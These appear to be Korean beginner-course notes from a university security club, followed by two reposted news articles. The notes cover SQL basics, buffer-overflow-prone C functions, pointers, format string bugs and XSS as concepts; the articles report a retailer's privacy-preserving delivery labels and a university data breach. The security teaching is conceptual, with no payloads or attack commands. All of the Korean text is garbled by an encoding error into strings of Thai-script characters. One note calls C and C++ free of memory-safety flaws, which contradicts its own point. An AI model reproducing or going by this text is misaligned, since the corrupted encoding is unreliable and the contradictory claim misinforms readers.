  • ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด
  • ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ž€?
    • ์ •๋ณด๋ฅผ ํ‘œ ํ˜•์‹์œผ๋กœ ์ €์žฅํ•˜๋ฉฐ, ํ–‰๊ณผ ์—ด์€ ๋‹ค์–‘ํ•œ ๋ฐ์ดํ„ฐ ์†์„ฑ๊ณผ ๋ฐ์ดํ„ฐ ๊ฐ’ ๊ฐ„์˜ ๋‹ค์–‘ํ•œ ๊ด€๊ณ„๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฒƒ
  • SQL ๋ฌธ(query)์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์ •๋ณด๋ฅผ ์ €์žฅ, ์—…๋ฐ์ดํŠธ, ์ œ๊ฑฐ, ๊ฒ€์ƒ‰ ๊ฐ€๋Šฅ

 

SQL ์ฃผ์š” ๊ตฌ๋ฌธ

 

 

SQL ์‹ค์Šต

https://school.programmers.co.kr/learn/challenges?tab=sql_practice_kit

 

ํ”„๋กœ๊ทธ๋ž˜๋จธ์Šค

์ฝ”๋“œ ์ค‘์‹ฌ์˜ ๊ฐœ๋ฐœ์ž ์ฑ„์šฉ. ์Šคํƒ ๊ธฐ๋ฐ˜์˜ ํฌ์ง€์…˜ ๋งค์นญ. ํ”„๋กœ๊ทธ๋ž˜๋จธ์Šค์˜ ๊ฐœ๋ฐœ์ž ๋งž์ถคํ˜• ํ”„๋กœํ•„์„ ๋“ฑ๋กํ•˜๊ณ , ๋‚˜์™€ ๊ธฐ์ˆ  ๊ถํ•ฉ์ด ์ž˜ ๋งž๋Š” ๊ธฐ์—…๋“ค์„ ๋งค์นญ ๋ฐ›์œผ์„ธ์š”.

programmers.co.kr

 


๋ณต์Šต์— ๋„์›€์ด ๋  ๋งŒํ•œ ์ธํ„ฐ๋„ท ์ž๋ฃŒ

 

 

 

 

 

 

 

 

 

'E-COPS > 15th ๋น„๊ธฐ๋„ˆ' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

WEEK3 - REVERSING  (7) 2024.10.08
WEEK2 QUIZ - VCS, Buffer  (0) 2024.10.08
WEEK2 - Git, Flask  (1) 2024.10.08
WEEK1 - C, javascript  (0) 2024.09.21
WEEK1 QUIZ - ํฌ๋งท ์ŠคํŠธ๋ง ๋ฒ„๊ทธ  (0) 2024.09.16
728x90

01. C์–ธ์–ด์™€ ํ•ดํ‚น

https://www.ciokorea.com/news/327256

 

๋ฐฑ์•…๊ด€, 'C'์™€ 'C++' ์‚ฌ์šฉ ์ค‘๋‹จ ์ด‰๊ตฌ··· ์ „๋ฌธ๊ฐ€๋“ค "์‹œ์˜์ ์ ˆํ•œ ๊ถŒ๊ณ "

๋ฐ”์ด๋“  ํ–‰์ •๋ถ€๊ฐ€ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ ๋ฐ ๊ธฐํƒ€ ๋ฉ”๋ชจ๋ฆฌ ์•ก์„ธ์Šค ์ทจ์•ฝ์„ฑ์„ ์œ ๋ฐœํ•˜๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์—์„œ ๋ฒ—์–ด๋‚  ๊ฒƒ์„ ์ด‰๊ตฌํ–ˆ๋‹ค. Image Cr

www.ciokorea.com

  • C์™€ C++์€ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „ ์ทจ์•ฝ์ ์ด ์—†๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด = ์‚ฌ์ด๋ฒ„ ๊ณต๊ฒฉ์— ์ทจ์•ฝ
  • C์™€ C++์€ ์ž„๋ฒ ๋””๋“œ ์‹œ์Šคํ…œ์— ๋งŽ์ด ์‚ฌ์šฉ๋˜๋ฏ€๋กœ C์™€ C++ ํ™œ์šฉ์ด ๊ทธ์ € ์ค‘๋‹จ๋˜๊ธฐ๋ณด๋‹ค๋Š” ๋Œ€์•ˆ์„ ํ–ฅํ•œ ์ง„ํ™”๊ฐ€ ๊ฐ€์†ํ™”๋  ๊ฒƒ

02. BOF ์ทจ์•ฝ ํ•จ์ˆ˜

  • ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋“ค์€ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ์„ ๋ฐ›์„ ๋•Œ, ์ž…๋ ฅ ํฌ๊ธฐ์— ๋Œ€ํ•œ ์ œํ•œ์„ ๋‘์ง€ ์•Š์•„ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๋‹ค.
  • ์ฆ‰, ์ž…๋ ฅ ๊ฐ’์ด ๋„ˆ๋ฌด ํด ๊ฒฝ์šฐ ๋ฒ„ํผ๋ฅผ ๋„˜์–ด์„œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ์นจ๋ฒ”ํ•  ์ˆ˜ ์žˆ์–ด, ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋‹ค.

03. ํฌ์ธํ„ฐ

1. ํฌ์ธํ„ฐ ๊ฐœ๋…

  • int num; : ์ •์ˆ˜ํ˜• ๋ณ€์ˆ˜ ์„ ์–ธ
  • &num: ์ด ๋ณ€์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ
  • printf("%p\n", &num); : num ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๊ฐ’์„ ์ถœ๋ ฅ
    • %p๋Š” ํฌ์ธํ„ฐ(์ฃผ์†Œ๊ฐ’)์„ ์ถœ๋ ฅํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ์„œ์‹
  • ๋ฉ”๋ชจ๋ฆฌ๋Š” ์—ฌ๋Ÿฌ ์นธ์œผ๋กœ ๋‚˜๋ˆ„์–ด์ ธ ์žˆ๊ณ , ๊ฐ ์นธ์—๋Š” ํŠน์ •ํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ €์žฅ๋œ๋‹ค.
    • num ๋ณ€์ˆ˜๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ํŠน์ • ์œ„์น˜์— ์ €์žฅ๋˜๋ฉฐ, ์ด ์œ„์น˜์˜ ์ฃผ์†Œ๋Š” &num ์ด๋‹ค.

2. ์ฃผ์†Œ๊ฐ’์„ ์•Œ๋ฉด ์œ„ํ—˜ํ• ๊นŒ?

  • ์ฃผ์†Œ๊ฐ’์„ ์•Œ๋ฉด ๋ฉ”๋ชจ๋ฆฌ์˜ ํŠน์ • ์œ„์น˜์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๋งŒ์•ฝ ์ฃผ์†Œ๊ฐ’์„ ์•…์˜์ ์ธ ์ฝ”๋“œ์—์„œ ์ด์šฉํ•˜๋ฉด, ๊ทธ ์œ„์น˜์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์ณ๋ณผ ์ˆ˜ ์žˆ๋‹ค. = ๋ฉ”๋ชจ๋ฆฌ ํ•ดํ‚น

04. FORMAT STRING

  • printf(str);์€ ์ž…๋ ฅ๋ฐ›์€ ๋ฌธ์ž์—ด์„ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๋Š”๋ฐ, ํฌ๋งท ๋ฌธ์ž์—ด ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ž˜๋ชป๋œ ํฌ๋งท ๋ฌธ์ž์—ด์„ ์ž…๋ ฅํ•  ๊ฒฝ์šฐ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

05. JAVASCRIPT

  • HTML: ์›น ํŽ˜์ด์ง€์˜ ๊ตฌ์กฐ๋ฅผ ์ •์˜ํ•˜๋Š” ๋งˆํฌ์—… ์–ธ์–ด
  • CSS: ์›น ํŽ˜์ด์ง€์˜ ์Šคํƒ€์ผ์„ ์ง€์ •ํ•˜๋Š” ์Šคํƒ€์ผ์‹œํŠธ ์–ธ์–ด
  • JavaScript: ์›น ํŽ˜์ด์ง€์˜ ๋™์ ์ธ ๊ธฐ๋Šฅ์„ ์ถ”๊ฐ€ํ•˜๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด

https://ko.javascript.info/

 

๋ชจ๋˜ JavaScript ํŠœํ† ๋ฆฌ์–ผ

 

ko.javascript.info

 


06. XSS

 

  • XSS ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐํ•˜๋Š” ์›น ์‚ฌ์ดํŠธ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ, ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ํ”ผํ•ด๋ฅผ ์ž…ํžˆ๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.
  • XSS๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค, ์„ธ์…˜ ์ •๋ณด ๋“ฑ์ด ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์›น์‚ฌ์ดํŠธ์˜ ์ž…๋ ฅ๊ฐ’์„ ์ฒ ์ €ํžˆ ๊ฒ€์ฆํ•˜๊ณ  ํ•„ํ„ฐ๋งํ•ด์•ผ ํ•œ๋‹ค.

 

'E-COPS > 15th ๋น„๊ธฐ๋„ˆ' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

WEEK3 - REVERSING  (7) 2024.10.08
WEEK2 QUIZ - VCS, Buffer  (0) 2024.10.08
WEEK2 - Git, Flask  (1) 2024.10.08
WEEK1 - Python, SQL  (0) 2024.09.21
WEEK1 QUIZ - ํฌ๋งท ์ŠคํŠธ๋ง ๋ฒ„๊ทธ  (0) 2024.09.16
728x90

๊ธฐ์‚ฌ ์›๋ฌธ

 

๋กฏ๋ฐํ™ˆ์‡ผํ•‘, ํƒ๋ฐฐ ์šด์†ก์žฅ์— ๊ณ ๊ฐ ์ด๋ฆ„·์—ฐ๋ฝ์ฒ˜ ์—†์•ค ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’ ์—…๊ณ„ ์ตœ์ดˆ ๋„์ž…

๋กฏ๋ฐํ™ˆ์‡ผํ•‘์€ ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ์œ„ํ•ด ์šด์†ก์žฅ์—์„œ ๊ณ ๊ฐ ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜๋ฅผ ์ œ๊ฑฐํ•œ ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋ฅผ ์—…๊ณ„ ์ตœ์ดˆ๋กœ ๋„์ž…ํ–ˆ๋‹ค. ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋Š” ๊ฐœ์ธ์ •๋ณด ๋Œ€์‹  ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜ ๋“ฑ์˜ ์ •๋ณด

www.boannews.com


๊ฐœ์ธ์ •๋ณด ์•”ํ˜ธํ™”ํ•œ 11์ž๋ฆฌ ‘ํ™ˆ๋„˜๋ฒ„’ ํ™œ์šฉ, ๋ฐฐ์†ก๊ณผ์ • ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ๋…ธ์ถœ ์ตœ์†Œํ™”

[๋ณด์•ˆ๋‰ด์Šค ๋ฐ•๋ฏธ์˜ ๊ธฐ์ž] ๋กฏ๋ฐํ™ˆ์‡ผํ•‘์€ ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ์œ„ํ•ด ์šด์†ก์žฅ์—์„œ ๊ณ ๊ฐ ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜๋ฅผ ์ œ๊ฑฐํ•œ ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋ฅผ ์—…๊ณ„ ์ตœ์ดˆ๋กœ ๋„์ž…ํ–ˆ๋‹ค.

 

์ตœ๊ทผ ์œ ํ†ต์—…๊ณ„์˜ ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ์œ ์ถœ ์‚ฌ๋ก€๊ฐ€ ๋Š˜๊ณ  ์žˆ๋‹ค. ์™ธ๋ถ€ ํ•ดํ‚น์€ ๋ฌผ๋ก  ์‹œ์Šคํ…œ ์˜ค๋ฅ˜, ํœด๋จผ ์—๋Ÿฌ ๋“ฑ ๋‹ค์–‘ํ•œ ๊ฒฝ๋กœ๋กœ ๊ฐœ์ธ์ •๋ณด ์œ ์ถœ ํ”ผํ•ด๊ฐ€ ๋ฐœ์ƒํ•ด ์†Œ๋น„์ž์˜ ๋ถˆ์•ˆ๊ฐ์ด ์ฆํญ๋˜๊ณ  ์žˆ๋‹ค.

๋กฏ๋ฐํ™ˆ์‡ผํ•‘์€ 2013๋…„ ํƒ๋ฐฐ ์šด์†ก์žฅ์— ์ฃผ๋ฌธ์ž์˜ ์‹ค์ œ ์—ฐ๋ฝ์ฒ˜ ๋Œ€์‹  ๊ฐ€์ƒ ์ „ํ™”๋ฒˆํ˜ธ๋ฅผ ๋ถ€์—ฌํ•ด ๊ณ ๊ฐ ์—ฐ๋ฝ์ฒ˜ ์œ ์ถœ์„ ๋ฐฉ์ง€ํ•˜๋Š” ‘์•ˆ์‹ฌ๋ฒˆํ˜ธ ์„œ๋น„์Šค’๋ฅผ ์‹œํ–‰ํ–ˆ๋‹ค. ์ด์–ด 2017๋…„ ์ „ํ™” ์ƒ๋‹ด ์ฃผ๋ฌธ ์‹œ์Šคํ…œ์— ์ผํšŒ์šฉ ๋ณด์•ˆ ํ† ํฐ ๊ฒฐ์ œ ๊ธฐ์ˆ ์„ ์ ์šฉํ•œ ๊ฐ„ํŽธ ๊ฒฐ์ œ ์„œ๋น„์Šค๋ฅผ ๋„์ž…ํ•˜๋Š” ๋“ฑ ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ์œ„ํ•œ ์‹œ์Šคํ…œ์„ ์„ ๋„์ ์œผ๋กœ ๋„์ž…ํ•ด ์™”๋‹ค.

๋กฏ๋ฐํ™ˆ์‡ผํ•‘์€ ๋ณด์•ˆ ์ฒด๊ณ„๋ฅผ ๊ณ ๋„ํ™”ํ•ด ๊ณ ๊ฐ ์ •๋ณด ์œ ์ถœ ์‚ฌ๊ณ ๋ฅผ ์‚ฌ์ „์— ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์—…๊ณ„ ์ตœ์ดˆ๋กœ ๊ณ ๊ฐ ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜๋ฅผ ์ œ๊ฑฐํ•œ ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋ฅผ ๋„์ž…ํ–ˆ๋‹ค.

‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋Š” ๊ฐœ์ธ์ •๋ณด ๋Œ€์‹  ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜ ๋“ฑ์˜ ์ •๋ณด๋ฅผ ์•”ํ˜ธํ™”ํ•œ ‘ํ™ˆ๋„˜๋ฒ„’๋ฅผ ์ž…๋ ฅํ•ด ์˜จ๋ผ์ธ์œผ๋กœ ๊ตฌ๋งคํ•œ ์ƒํ’ˆ์„ ๋ฐฐ์†ก๋ฐ›์„ ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค๋‹ค. ๋ณด์•ˆ ์†”๋ฃจ์…˜ ์—…์ฒด ‘ํ™ˆ๋„˜๋ฒ„ ๋ฉ”ํƒ€’๊ฐ€ ๊ฐœ๋ฐœํ•œ ์„œ๋น„์Šค๋กœ, ํƒ๋ฐฐ ์šด์†ก์žฅ์— ๊ณ ๊ฐ ์ด๋ฆ„·์—ฐ๋ฝ์ฒ˜ ๋Œ€์‹  ๊ฐœ์ธ๋ณ„ ์‹๋ณ„๋ฒˆํ˜ธ์ธ ‘ํ™ˆ๋„˜๋ฒ„’๋ฅผ ๋ถ€์—ฌํ•ด ๊ฐœ์ธ์ •๋ณด ๋…ธ์ถœ๋กœ ์ธํ•œ ํ”ผํ•ด๋ฅผ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค. ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’ ์ด์šฉ์„ ํฌ๋งํ•˜๋Š” ๊ณ ๊ฐ์€ ๋กฏ๋ฐํ™ˆ์‡ผํ•‘ ๋ชจ๋ฐ”์ผ์•ฑ์—์„œ ์ฃผ๋ฌธ ํ›„ ๋ฐฐ์†ก ๋ฐฉ๋ฒ•์œผ๋กœ ‘๋ณด์•ˆํƒ๋ฐฐ’๋ฅผ ์„ ํƒํ•˜๊ณ  ‘ํ™ˆ๋„˜๋ฒ„’์— ๊ฐ€์ž…ํ•˜๋ฉด ๋œ๋‹ค. ํƒ๋ฐฐ ์šด์†ก์žฅ์—๋Š” ๊ฐ€์ž… ํ›„ ๋ฐœ๊ธ‰๋ฐ›์€ ‘ํ™ˆ๋„˜๋ฒ„’๊ฐ€ ๋ณด์ด๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋ณธ์ธ์˜ ์ฃผ๋ฌธ ์ƒํ’ˆ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํ–ฅํ›„ ์ด๋ฆ„·์—ฐ๋ฝ์ฒ˜๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์ฃผ์†Œ์ง€๋„ ‘ํ™ˆ๋„˜๋ฒ„’์— ํฌํ•จํ•ด ๊ณ ๊ฐ ์ •๋ณด๋ณด์•ˆ์„ ๋”์šฑ ๊ฐ•ํ™”ํ•  ์˜ˆ์ •์ด๋‹ค.

ํ•œํŽธ, ๋กฏ๋ฐํ™ˆ์‡ผํ•‘์€ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ์˜ ์ค‘์š”์„ฑ์„ ์ธ์ง€ํ•˜๊ณ , โ–ณ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ ๊ต์œก์„ ํ†ตํ•œ ์ž„์ง์› ๋ณด์•ˆ์˜์‹ ๋‚ด์žฌํ™” โ–ณ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ์ฒ˜๋ฆฌ ์‹œ์Šคํ…œ ๊ตฌ์ถ• โ–ณ์ทจ์•ฝ์  ์ง„๋‹จ ๋ฐ ๋ชจ์˜ํ•ดํ‚น ์ •๊ธฐ ์ดํ–‰ โ–ณํŒŒํŠธ๋„ˆ์‚ฌ ๋Œ€์ƒ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ ํ˜„ํ™ฉ ์ •๊ธฐ ์ ๊ฒ€ ๋“ฑ์„ ํ†ตํ•ด ์ •๋ณด๋ณด์•ˆ ๊ฐ•ํ™”๋ฅผ ์œ„ํ•ด ๋…ธ๋ ฅํ•˜๊ณ  ์žˆ๋‹ค.

์กฐ์˜๊ตฌ ๋กฏ๋ฐํ™ˆ์‡ผํ•‘ ์ •๋ณด๋ณด์•ˆ์‹ค์žฅ์€ “๊ฐœ์ธ์ •๋ณด ์œ ์ถœ ๋ฌธ์ œ๊ฐ€ ์‹ฌ๊ฐํ•ด์ง€๋ฉฐ ์†Œ๋น„์ž ๋ถˆ์•ˆ์ด ์‹ฌํ™”๋˜๊ณ  ์žˆ๋Š” ๊ฐ€์šด๋ฐ ์—…๊ณ„ ์ตœ์ดˆ๋กœ ๊ณ ๊ฐ์˜ ์ด๋ฆ„, ์—ฐ๋ฝ์ฒ˜ ์—†์ด ์ƒํ’ˆ์„ ๋ฐฐ์†กํ•˜๋Š” ‘๋ณด์•ˆํƒ๋ฐฐ ์„œ๋น„์Šค’๋ฅผ ๋„์ž…ํ•˜๊ฒŒ ๋๋‹ค”๋ฉฐ, “ํ–ฅํ›„ ๊ณ ๊ฐ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ๊ฐ•ํ™”๋ฅผ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์ œ๋„์™€ ์„œ๋น„์Šค๋ฅผ ๋งˆ๋ จํ•ด ๊ธฐ์—… ์‹ ๋ขฐ๋„๋ฅผ ๋†’์—ฌ ๋‚˜๊ฐ€๊ฒ ๋‹ค”๋ผ๊ณ  ๋งํ–ˆ๋‹ค.

 

์ถœ์ฒ˜:[๋ฐ•๋ฏธ์˜ ๊ธฐ์ž(mypark@boannews.com)]

728x90

๊ธฐ์‚ฌ ์›๋ฌธ

 

[๋‹จ๋…] ์ดํ™”์—ฌ๋Œ€ ํ•ดํ‚น ํ”ผํ•ด … 82~02ํ•™๋ฒˆ ์กธ์—…์ƒ ๊ฐœ์ธ์ •๋ณด ๋ชจ์กฐ๋ฆฌ ์œ ์ถœ๋๋‹ค

์ดํ™”์—ฌ์ž๋Œ€ํ•™๊ต ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ์ด 'ํ•ดํ‚น ๊ณต๊ฒฉ'์„ ๋ฐ›์•„ ์ผ๋ถ€ ์กธ์—…์ƒ(1982~2002๋…„ ์ž…ํ•™)๋“ค์˜ ์—ฐ๋ฝ์ฒ˜·์ฃผ๋ฏผ๋“ฑ๋ก๋ฒˆํ˜ธ ๋“ฑ ๊ฐœ์ธ ์‹ ์ƒ์ •๋ณด๊ฐ€ ์™ธ๋ถ€๋กœ ์œ ์ถœ๋˜๋Š” ์‚ฌ๊ฑด์ด ๋ฐœ์ƒํ–ˆ๋‹ค.๊น€์€๋ฏธ ์ดํ™”์—ฌ๋Œ€ ์ด์žฅ์€ ์ง€

www.newdaily.co.kr


  • ์ถœ์ฒ˜: ์กฐ๊ด‘ํ˜• ๊ธฐ์ž
  • ์ดํ™”์—ฌ๋Œ€ "3์ผ ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ ํ•ดํ‚น ํ”ผํ•ด ํ™•์ธ"
  • ์—ฐ๋ฝ์ฒ˜·์ฃผ๋ฏผ๋ฒˆํ˜ธ ๋“ฑ ์™ธ๋ถ€์„œ ์กฐํšŒ โ€ฅ
  • ํŒŒ์žฅ ์ปค์งˆ ๋“ฏํ•™๊ต ์ธก "๋ณด์•ˆ์ ๊ฒ€ ๊ฐ•ํ™”, ์žฌ๋ฐœ๋ฐฉ์ง€์ฑ… ๋งˆ๋ จํ•  ๊ฒƒ"

์ดํ™”์—ฌ์ž๋Œ€ํ•™๊ต ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ์ด 'ํ•ดํ‚น ๊ณต๊ฒฉ'์„ ๋ฐ›์•„ ์ผ๋ถ€ ์กธ์—…์ƒ(1982~2002๋…„ ์ž…ํ•™)๋“ค์˜ ์—ฐ๋ฝ์ฒ˜·์ฃผ๋ฏผ๋“ฑ๋ก๋ฒˆํ˜ธ ๋“ฑ ๊ฐœ์ธ ์‹ ์ƒ์ •๋ณด๊ฐ€ ์™ธ๋ถ€๋กœ ์œ ์ถœ๋˜๋Š” ์‚ฌ๊ฑด์ด ๋ฐœ์ƒํ–ˆ๋‹ค.

๊น€์€๋ฏธ ์ดํ™”์—ฌ๋Œ€ ์ด์žฅ์€ ์ง€๋‚œ 4์ผ ์ดํ™”์—ฌ๋Œ€ ์กธ์—…์ƒ๋“ค์—๊ฒŒ ๋ณด๋‚ธ ๊ณต์ง€๋ฌธ์—์„œ "ํ•™๊ต๋Š” ์ตœ๊ทผ ๋‚ด๋ถ€ ๋ณด์•ˆ์‹œ์Šคํ…œ์„ ํ†ตํ•ด ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋น„์ •์ƒ์ ์ธ ์ ‘๊ทผ ์‹œ๋„๋ฅผ ์ธ์ง€ํ•˜๊ฒŒ ๋๊ณ , ํ˜„์žฌ ์ ๊ฒ€ ์ค‘์— ์žˆ์Œ์„ ์•Œ๋ ค๋“œ๋ฆฐ๋‹ค"๊ณ  ๋ฐํ˜”๋‹ค.

๊น€ ์ด์žฅ์€ "์ „๋‚ ์ธ 9์›” 3์ผ ์‹ค์‹œ๊ฐ„ ๋ชจ๋‹ˆํ„ฐ๋ง ์ค‘ 'ํ•ด์™ธ IP'์˜ ๋น„์ •์ƒ์  ์ ‘๊ทผ์„ ๊ฐ์ง€ํ–ˆ๋‹ค"๋ฉฐ "์ด์— ์˜ค์ „ 11์‹œ 55๋ถ„๊ฒฝ ์ฆ‰๊ฐ์ ์œผ๋กœ ๋ณด์•ˆ์‹œ์Šคํ…œ์„ ํ†ตํ•ด ๋น„์ •์ƒ์  ์ ‘๊ทผ์„ ์ฐจ๋‹จํ–ˆ๊ณ , ๋งŒ์— ํ•˜๋‚˜ ์žˆ์„ ์ˆ˜ ์žˆ๋Š” ํ”ผํ•ด๊ฐ€ ๋ฐœ์ƒํ–ˆ๋Š”์ง€ ์ƒ์„ธ ์กฐ์‚ฌ๋ฅผ ํ•˜๊ณ  ์žˆ๋‹ค"๊ณ  ๋ฐํ˜”๋‹ค.

"์ ‘๊ทผ ์‹œ๋„ ๋Œ€์ƒ์€ 1982ํ•™๋…„๋„์—์„œ 2002ํ•™๋…„๋„์— ์ž…ํ•™ํ•œ ์กธ์—…์ƒ์ด๋ฉฐ ๋Œ€๋ถ€๋ถ„ 20์—ฌ ๋…„ ๊ฐ„ ์—…๋ฐ์ดํŠธ๋˜์ง€ ์•Š์€ ์ •๋ณด"๋ผ๊ณ  ์„ค๋ช…ํ•œ ๊น€ ์ด์žฅ์€ "๋ณด์•ˆ์‹œ์Šคํ…œ์˜ ์‚ฌ์ „ ์ฐจ๋‹จ์œผ๋กœ ์žฌํ•™์ƒ ๋ฐ์ดํ„ฐ ๊ด€๋ จ ์ ‘๊ทผ ์‹œ๋„๋Š” ์—†์—ˆ๋‹ค"๊ณ  ๋ง๋ถ™์˜€๋‹ค.

๊น€ ์ด์žฅ์€ "ํ•™๊ต๋Š” ์ด๋ฒˆ ์‚ฌ์•ˆ์˜ ์‹ฌ๊ฐ์„ฑ์„ ์—„์ค‘ํ•˜๊ฒŒ ์ธ์‹ํ•˜๊ณ  ์žˆ๊ณ , ํ˜„์žฌ ๋‚ด๋ถ€ ์‹œ์Šคํ…œ ์ ๊ฒ€ ๋ฐ ๊ฐ•ํ™”, ์œ ๊ด€๊ธฐ๊ด€๊ณผ์˜ ํ˜‘๋ ฅ ๋“ฑ์„ ํ†ตํ•ด ์ถ”๊ฐ€์ ์ธ ํ”ผํ•ด ๊ฐ€๋Šฅ์„ฑ์„ ์ฐจ๋‹จํ•˜๊ณ  ์žˆ๋‹ค"๋ฉฐ "๊ฐœ์ธ์ •๋ณด ์œ ์ถœ ์—ฌ๋ถ€๊ฐ€ ํ™•์ธ๋  ๊ฒฝ์šฐ ์ฆ‰์‹œ ํ†ต์ง€ํ•˜๊ณ , ์ฃผ์˜์‚ฌํ•ญ ์•ˆ๋‚ด, ๊ด€๋ จ๋œ ํ”ผํ•ด ์ƒ๋‹ด ๋“ฑ์„ ํ•˜๋Š” ๋ฏผ์›์„ผํ„ฐ๋ฅผ ์šด์˜ํ•ด ์ตœ๋Œ€ํ•œ ์‹ ์†ํ•˜๊ฒŒ ์•ˆ๋‚ดํ•˜๋„๋ก ํ•˜๊ฒ ๋‹ค"๊ณ  ๋ฐํ˜”๋‹ค.

